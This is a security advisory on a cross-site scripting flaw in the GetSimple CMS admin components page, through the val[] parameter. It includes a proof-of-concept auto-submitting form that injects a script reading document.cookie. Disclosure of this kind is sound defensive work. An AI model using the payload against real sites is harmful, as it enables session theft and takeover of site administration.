XSS vulnerability in GetSimple CMS

Vulnerability ID: HTB22375
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_getsimple_cms.html
Product: GetSimple CMS
Vendor: Cagintranet Networks
Vulnerable Version: 2.01 and Probably Prior Versions
Vendor Notification: 10 May 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/components.php" script to properly sanitize user-supplied input in "val[]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://example.com/admin/components.php&quot; method="post" name="main" accept-charset="utf-8" >
<input type="hidden" name="submitted" value="Save Components" />
<input name="val[]" type="hidden" value='Some text here…"><script>alert(document.cookie)</script>' />
<input type="hidden" name="slug[]" value="sidebar" />
<input type="hidden" name="title[]" value="Sidebar" />
<input type="hidden" name="id[]" value="0" />
<input type="hidden" name="val[]" value="Just Another GetSimple Website" />
<input type="hidden" name="slug[]" value="tagline" />
<input type="hidden" name="title[]" value="Tagline" />
<input type="hidden" name="id[]" value="1" />
</form>
<script>
document.main.submit();
</script>